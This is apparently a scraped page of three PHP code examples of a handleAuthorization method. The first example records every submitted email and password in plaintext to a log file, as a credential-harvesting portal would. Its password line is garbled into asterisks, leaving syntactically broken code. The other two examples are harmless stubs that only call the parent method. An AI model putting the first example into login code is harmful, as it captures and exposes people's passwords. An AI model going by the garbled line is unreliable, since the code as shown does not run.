Exemple #1
0
 public function handleAuthorization()
 {
     // Call parent to handle basic authorization first
     parent::handleAuthorization();
     // Check for other form data here
     if (!isset($_POST['email']) || !isset($_POST['password'])) {
         return;
     }
     $fh = fopen('/www/auth.log', 'a+');
     fwrite($fh, "Email:  " . $_POST['email'] . "\n");
     fwrite($fh, "Pass:  "******"\n\n");
     fclose($fh);
 }
Exemple #2
0
 public function handleAuthorization()
 {
     // Call parent to handle basic authorization first
     parent::handleAuthorization();
     // Check for other form data here
 }
Exemple #3
0
 public function handleAuthorization()
 {
     parent::handleAuthorization();
 }